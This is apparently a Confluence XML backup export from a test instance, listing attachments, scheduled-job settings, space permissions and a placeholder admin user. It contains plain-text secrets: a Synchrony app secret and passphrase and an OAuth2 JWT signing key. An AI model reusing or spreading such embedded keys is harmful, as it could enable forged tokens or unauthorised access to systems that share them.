<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98347</id>
<property name="hibernateVersion">17</property>
<property name="title"><![CDATA[start.jpg]]></property>
<property name="lowerTitle"><![CDATA[start.jpg]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262206</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262231</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262232</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32873</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#deletedInviteesCleanUpJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98348</id>
<property name="hibernateVersion">20</property>
<property name="title"><![CDATA[step06-image02.png]]></property>
<property name="lowerTitle"><![CDATA[step06-image02.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262215</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262216</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262217</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262221</id>
</element>
</collection>
<property name="version">3</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32870</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#flushEdgeIndexQueue]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98353</id>
<property name="hibernateVersion">21</property>
<property name="title"><![CDATA[step06-image01.png]]></property>
<property name="lowerTitle"><![CDATA[step06-image01.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262218</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262219</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262220</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262261</id>
</element>
</collection>
<property name="version">4</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32871</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#conversionQueueMonitor]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98354</id>
<property name="hibernateVersion">3</property>
<property name="title"><![CDATA[step05-01.png]]></property>
<property name="lowerTitle"><![CDATA[step05-01.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262266</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262267</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262268</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262269</id>
</element>
</collection>
<property name="version">1</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32868</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#addonHouskeeperTrigger-v2]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98351</id>
<property name="hibernateVersion">9</property>
<property name="title"><![CDATA[step05-03.png]]></property>
<property name="lowerTitle"><![CDATA[step05-03.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262245</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262257</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262263</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262264</id>
</element>
</collection>
<property name="version">2</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32869</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#purgeHistoryJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98352</id>
<property name="hibernateVersion">8</property>
<property name="title"><![CDATA[step04-02.png]]></property>
<property name="lowerTitle"><![CDATA[step04-02.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262251</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262252</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262253</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262272</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32834</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[synchrony_collaborative_editor_app_id]]></property>
<property name="value"><![CDATA[<string>Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32835</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[synchrony_collaborative_editor_app_secret]]></property>
<property name="value"><![CDATA[<string>ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32832</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..logged_base_analytics_data]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32833</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-update]]></property>
<property name="value"><![CDATA[<list>
<string>com.atlassian.migration.agent</string>
<string>com.atlassian.troubleshooting.plugin-confluence</string>
</list>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32830</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[synchrony_collaborative_editor_app_base_url]]></property>
<property name="value"><![CDATA[<string>http://nessus-docker.local:8090/synchrony-proxy,http://nessus-docker.local:8090/synchrony-proxy</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32831</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[synchrony_collaborative_editor_app_passphrase]]></property>
<property name="value"><![CDATA[<string>BxPVX1EMs+EycDmXIAthliGTBb3EAwLgeyaTxHBW4CE=</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32828</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-license.expired]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="AlertEntityImpl" package="com.atlassian.confluence.internal.diagnostics.persistence.dao.hibernate">
<id name="id">720897</id>
<property name="detailsJson"><![CDATA[{"freeInMegabytes":144,"totalInMegabytes":4160,"minimumInMegabytes":256}]]></property>
<property name="issueComponentId"><![CDATA[OS]]></property>
<property name="issueId"><![CDATA[OS-1001]]></property>
<property name="issueSeverity" enum-class="Severity" package="com.atlassian.diagnostics">WARNING</property>
<property name="nodeName"><![CDATA[3b0401e4191f]]></property>
<property name="nodeNameLower"><![CDATA[3b0401e4191f]]></property>
<property name="timestampUtc">1699509909923</property>
<property name="triggerModule"/><property name="triggerPluginKey"><![CDATA[not-detected]]></property>
<property name="triggerPluginKeyLower"><![CDATA[not-detected]]></property>
<property name="triggerPluginVersion"/></object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32829</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-license.nearlyexpired]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32826</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-maintenance.expired]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32827</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-maintenance.nearlyexpired]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32824</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-evaluation.expired]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32825</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-evaluation.nearlyexpired]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32822</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-plugin.request]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32823</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..analytics_enabled]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32820</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.plugins.oauth2.provider.jwt.secret]]></property>
<property name="value"><![CDATA[<string>385f48cdf4038b1577ad4191bff5fc8ae24efbb9aaf8fea882b4d535f0297a33</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32821</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[com.atlassian.upm:notifications:notification-edition.mismatch]]></property>
<property name="value"><![CDATA[<list/>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32850</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#FlushContentIndexScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32851</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#FlushChangeIndexScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32848</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#ExpiredUserVerificationTokenCleanupJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32849</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#VersionHardRemovalScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>false</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32846</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#DeferredFileDeletionJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32847</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#TrashSoftRemovalScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32844</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#JournalCleaner]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32845</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#clearOldMailErrorsJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32842</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#VersionSoftRemovalScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32843</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#AncestorsRepairJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32840</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#ClusterCacheCompactionJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32841</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#JmxLoggingJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32838</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#CleanTempDirectoryJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32839</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#PropertyEntryGardeningJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32836</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[confluence.darkfeature]]></property>
<property name="value"><![CDATA[<string>site-wide.shared-drafts</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32837</id>
<property name="context"><![CDATA[com.atlassian.confluence.content.render.xhtml.migration.macro.MacroMigrationService]]></property>
<property name="key"><![CDATA[migration.required]]></property>
<property name="value"><![CDATA[<boolean>false</boolean>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32886</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[c.a.c.plugins:confluence-user-rest:hadHadASingleDirectory]]></property>
<property name="value"><![CDATA[<string>true</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32887</id>
<property name="context"><![CDATA[com.atlassian.confluence.admin.tasks.AdminTaskData]]></property>
<property name="key"><![CDATA[admintask.remigration.xhtml]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.admin.tasks.AdminTaskData>
<completedAt>2023-11-09 06:04:53.20 UTC</completedAt>
</com.atlassian.confluence.admin.tasks.AdminTaskData>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32884</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#periodicEventPublisherJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32885</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[c.a.c.plugins:confluence-user-rest:firstCheckDateMs]]></property>
<property name="value"><![CDATA[<string>1699509886924</string>]]></property>
</object>
<object class="ConfluenceUserImpl" package="com.atlassian.confluence.user">
<id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
<property name="name"><![CDATA[NEW_USERNAME]]></property>
<property name="lowerName"><![CDATA[NEW_USERNAME_LOWER]]></property>
<property name="email"><![CDATA[admin@test.com]]></property>
</object>
<object class="User2ContentRelationEntity" package="com.atlassian.confluence.internal.relations.dao">
<id name="id">229377</id>
<property name="targetContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="sourceContent" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="targetType" enum-class="RelatableEntityTypeEnum" package="com.atlassian.confluence.internal.relations">PAGE</property>
<property name="relationName"><![CDATA[collaborator]]></property>
<property name="creationDate">2020-10-21 01:32:57.499</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
</object>
<object class="User2ContentRelationEntity" package="com.atlassian.confluence.internal.relations.dao">
<id name="id">229378</id>
<property name="targetContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
</property>
<property name="sourceContent" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="targetType" enum-class="RelatableEntityTypeEnum" package="com.atlassian.confluence.internal.relations">PAGE</property>
<property name="relationName"><![CDATA[collaborator]]></property>
<property name="creationDate">2020-10-21 01:38:37.286</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458796</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEMAIL]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.405</property>
<property name="lastModificationDate">2023-11-09 06:04:19.405</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458797</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEMAIL]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.407</property>
<property name="lastModificationDate">2023-11-09 06:04:19.407</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458798</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[SETPAGEPERMISSIONS]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.408</property>
<property name="lastModificationDate">2023-11-09 06:04:19.408</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458799</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[SETPAGEPERMISSIONS]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.411</property>
<property name="lastModificationDate">2023-11-09 06:04:19.411</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458792</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EXPORTSPACE]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.397</property>
<property name="lastModificationDate">2023-11-09 06:04:19.397</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458793</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EXPORTSPACE]]></property>
<property name="group"><![CDATA[confluence-users]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.399</property>
<property name="lastModificationDate">2023-11-09 06:04:19.399</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458794</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[EXPORTSPACE]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.401</property>
<property name="lastModificationDate">2023-11-09 06:04:19.401</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458795</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEMAIL]]></property>
<property name="group"><![CDATA[confluence-administrators]]></property>
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.403</property>
<property name="lastModificationDate">2023-11-09 06:04:19.403</property>
</object>
<object class="SpacePermission" package="com.atlassian.confluence.security">
<id name="id">458788</id>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.387</property>
